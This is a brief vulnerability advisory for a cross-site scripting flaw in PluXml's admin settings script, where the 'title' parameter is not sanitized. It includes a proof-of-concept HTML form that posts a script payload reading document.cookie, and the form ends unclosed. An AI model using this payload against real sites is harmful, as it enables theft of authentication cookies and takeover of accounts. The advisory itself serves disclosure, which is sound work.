Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/core/admin/parametres_base.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/core/admin/parametres_base.php" method="post" name="main" >
<input type="hidden" name="title" value='PluXml"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value="le blog full XML">
<input type="hidden" name="racine" value="http://host/">
<input type="hidden" name="delta" value="+00:00">
<input type="hidden" name="allow_com" value="1">
<input type="hidden" name="mod_com" value="0">
<input type="hidden" name="editor" value="plxtoolbar">
